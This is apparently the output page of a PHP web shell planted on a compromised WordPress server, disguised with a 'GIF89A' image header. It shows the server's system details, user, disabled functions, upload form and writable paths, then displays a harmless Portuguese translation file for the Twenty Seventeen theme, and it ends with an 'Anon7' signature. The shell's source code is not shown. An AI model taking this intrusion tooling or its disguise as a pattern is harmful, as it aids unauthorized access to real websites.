GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/languages/themes/twentyseventeen-pt_BR.po
# Translation of Themes - Twenty Seventeen in Portuguese (Brazil)
# This file is distributed under the same license as the Themes - Twenty Seventeen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-12-27 20:01:33+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Generator: GlotPress/2.3.0-alpha\n"
"Language: pt_BR\n"
"Project-Id-Version: Themes - Twenty Seventeen\n"

#. Description of the plugin/theme
msgid "Twenty Seventeen brings your site to life with header video and immersive featured images. With a focus on business sites, it features multiple sections on the front page as well as widgets, navigation and social menus, a logo, and more. Personalize its asymmetrical grid with a custom color scheme and showcase your multimedia content with post formats. Our default theme for 2017 works great in many languages, for any abilities, and on any device."
msgstr "Twenty Seventeen dá vida ao seu site com o vídeo de cabeçalho e imagens destacadas imersivas. Focado em sites empresariais, possui suporte para múltiplas seções na página inicial, widgets, navegação, menu de redes sociais, logo e muito mais. Personalize sua grade assimétrica com um padrão de cores e exiba seu conteúdo com formatos de posts. Nosso tema padrão para 2017 funciona perfeitamente em vários idiomas e dispositivos."

#. Theme Name of the plugin/theme
msgid "Twenty Seventeen"
msgstr "Twenty Seventeen"

#: template-parts/header/site-branding.php:31
#: template-parts/navigation/navigation-top.php:20
msgid "Scroll down to content"
msgstr "Ir para o conteúdo"

#: functions.php:150
msgctxt "Theme starter content"
msgid "Coffee"
msgstr "Café"

#: functions.php:146
msgctxt "Theme starter content"
msgid "Sandwich"
msgstr "Sanduíche"

#: functions.php:142
msgctxt "Theme starter content"
msgid "Espresso"
msgstr "Espresso"

#: inc/custom-header.php:117
msgid "Pause background video"
msgstr "Pausar vídeo de fundo"

#: inc/custom-header.php:116
msgid "Play background video"
msgstr "Reproduzir vídeo de fundo"

#: inc/template-tags.php:154
msgid "Front Page Section %1$s Placeholder"
msgstr "Texto da seção %1$s da página inicial"

#: inc/customizer.php:80
msgid "When the two column layout is assigned, the page title is in one column and content is in the other."
msgstr "Quando o layout de duas colunas está ativado, o título da página será exibido em uma coluna e o conteúdo na outra."

#: single.php:32
msgid "Next Post"
msgstr "Próximo post"

#: index.php:27
msgid "Posts"
msgstr "Posts"

#: inc/template-tags.php:88
msgid "Tags"
msgstr "Tags"

#: inc/template-tags.php:84
msgid "Categories"
msgstr "Categorias"

#. translators: used between list items, there is a space after the comma
#: inc/template-tags.php:65
msgid ", "
msgstr ", "

#. translators: %s: post date
#: inc/template-tags.php:51
msgid "<span class=\"screen-reader-text\">Posted on</span> %s"
msgstr "<span class=\"screen-reader-text\">Publicado em</span> %s"

#. translators: %s: post author
#: inc/template-tags.php:21
msgid "by %s"
msgstr "por %s"

#: inc/icon-functions.php:44
msgid "Please define an SVG icon filename."
msgstr "Informe um nome de arquivo do ícone SVG"

#: inc/icon-functions.php:39
msgid "Please define default parameters in the form of an array."
msgstr "Informe parâmetros padrão no formato de um array."

#: inc/customizer.php:108
msgid "Select pages to feature in each area from the dropdowns. Add an image to a section by setting a featured image in the page editor. Empty sections will not be displayed."
msgstr "Selecione páginas para serem destacadas em cada área usando os menus. Adicione uma imagem a uma seção configurando uma imagem destacada na edição da página. Seções vazias não serão exibidas."

#. translators: %d is the front page section number
#: inc/customizer.php:107
msgid "Front Page Section %d Content"
msgstr "Conteúdo da seção %d da página inicial"

#: inc/customizer.php:83 inc/customizer.php:130
msgid "Two Column"
msgstr "Duas colunas"

#: inc/customizer.php:82 inc/customizer.php:129
msgid "One Column"
msgstr "Uma coluna"

#: inc/customizer.php:77
msgid "Page Layout"
msgstr "Layout da página"

#: inc/customizer.php:66
msgid "Theme Options"
msgstr "Opções do tema"

#: inc/customizer.php:50
msgid "Custom"
msgstr "Personalizado"

#: inc/customizer.php:48
msgid "Light"
msgstr "Claro"

#: inc/customizer.php:46
msgid "Color Scheme"
msgstr "Esquema de cor"

#: inc/custom-header.php:49
msgid "Default Header Image"
msgstr "Imagem padrão do cabeçalho"

#: functions.php:296
msgid "Footer 2"
msgstr "Rodapé 2"

#: functions.php:288 functions.php:298
msgid "Add widgets here to appear in your footer."
msgstr "Adicione widgets aqui para serem exibidos em seu rodapé."

#: functions.php:286
msgid "Footer 1"
msgstr "Rodapé 2"

#: functions.php:230
msgctxt "Libre Franklin font: on or off"
msgid "on"
msgstr "ligado"

#: functions.php:60 functions.php:170
#: template-parts/navigation/navigation-top.php:12
msgid "Top Menu"
msgstr "Menu do topo"

#: comments.php:60
msgid "Reply"
msgstr "Responda"

#: template-parts/post/content-none.php:27
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Aparentemente não pudemos encontrar o que você está procurando. Talvez uma busca ajude."

#: search.php:50
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Nada foi encontrado com os termos da sua pesquisa. Tente novamente com algumas palavras-chaves diferentes."

#: template-parts/post/content-none.php:23
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Pronto para publicar seu primeiro post? <a href=\"%1$s\">Comece aqui</a>."

#: search.php:21 template-parts/post/content-none.php:17
msgid "Nothing Found"
msgstr "Nada encontrado"

#: single.php:31
msgid "Previous Post"
msgstr "Post anterior"

#: comments.php:66 single.php:31
msgid "Previous"
msgstr "Anteriores"

#: comments.php:67 single.php:32
msgid "Next"
msgstr "Próximo"

#: searchform.php:19
msgctxt "submit button"
msgid "Search"
msgstr "Pesquisar"

#: searchform.php:18
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Pesquisar &hellip;"

#: searchform.php:16
msgctxt "label"
msgid "Search for:"
msgstr "Pesquisar por:"

#: search.php:19
msgid "Search Results for: %s"
msgstr "Resultados da pesquisa por: %s"

#. translators: %s: Name of current post
#: functions.php:323 template-parts/page/content-front-page-panels.php:43
#: template-parts/page/content-front-page.php:44
#: template-parts/post/content-audio.php:80
#: template-parts/post/content-gallery.php:66
#: template-parts/post/content-image.php:56
#: template-parts/post/content-video.php:78 template-parts/post/content.php:54
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Continue lendo<span class=\"screen-reader-text\"> \"%s\"</span>"

#: inc/customizer.php:49
msgid "Dark"
msgstr "Escuro"

#: inc/back-compat.php:39 inc/back-compat.php:51 inc/back-compat.php:66
msgid "Twenty Seventeen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again."
msgstr "Twenty Seventeen requer ao menos a versão 4.7 do WordPress. Você está rodando a versão %s. PAtualize e tente novamente."

#. translators: %s: Name of current post
#: inc/template-tags.php:117
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Editar<span class=\"screen-reader-text\"> \"%s\"</span>"

#: template-parts/page/content-page.php:25
#: template-parts/post/content-audio.php:85
#: template-parts/post/content-gallery.php:71
#: template-parts/post/content-image.php:61
#: template-parts/post/content-video.php:83 template-parts/post/content.php:59
msgid "Pages:"
msgstr "Páginas"

#: template-parts/navigation/navigation-top.php:13
msgid "Menu"
msgstr "Menu"

#: header.php:27
msgid "Skip to content"
msgstr "Pular para o conteúdo"

#: functions.php:406
msgid "Collapse child menu"
msgstr "Fechar submenu"

#: functions.php:405
msgid "Expand child menu"
msgstr "Expandir submenu"

#: functions.php:278
msgid "Add widgets here to appear in your sidebar."
msgstr "Adicione widgets aqui para aparecerem em sua barra lateral."

#: functions.php:276
msgid "Sidebar"
msgstr "Lateral"

#: functions.php:61 functions.php:179
msgid "Social Links Menu"
msgstr "Menu de links sociais"

#: template-parts/footer/site-info.php:13
msgid "Proudly powered by %s"
msgstr "Orgulhosamente desenvolvido com %s"

#. #-#-#-#-#  twentyseventeen.pot (Twenty Seventeen 1.0)  #-#-#-#-#
#. Author URI of the plugin/theme
#: template-parts/footer/site-info.php:13
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#: footer.php:25
msgid "Footer Social Links Menu"
msgstr "Menu de links sociais do rodapé"

#: comments.php:75
msgid "Comments are closed."
msgstr "Os comentários estão desativados."

#. translators: 1: number of comments, 2: post title
#: comments.php:40
msgctxt "comments title"
msgid "%1$s Reply to &ldquo;%2$s&rdquo;"
msgid_plural "%1$s Replies to &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s resposta para &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s respostas para &ldquo;%2$s&rdquo;"

#. translators: %s: post title
#: comments.php:36
msgctxt "comments title"
msgid "One Reply to &ldquo;%s&rdquo;"
msgstr "Uma resposta para &ldquo;%s&rdquo;"

#: archive.php:47 index.php:52 search.php:45
msgid "Page"
msgstr "Página"

#: 404.php:21
msgid "Oops! That page can&rsquo;t be found."
msgstr "Opa! A página não pode ser encontrada,"

#: 404.php:24
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Parece que nada foi encontrado por aqui. Tente uma busca talvez?"

#: archive.php:45 index.php:50 search.php:43
msgid "Previous page"
msgstr "Página anterior"

#: archive.php:46 index.php:51 search.php:44
msgid "Next page"
msgstr "Próxima página"

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "a equipe do WordPress"

#. Theme URI of the plugin/theme
msgid "https://wordpress.org/themes/twentyseventeen/"
msgstr "https://wordpress.org/themes/twentyseventeen/"

Anon7 - 2021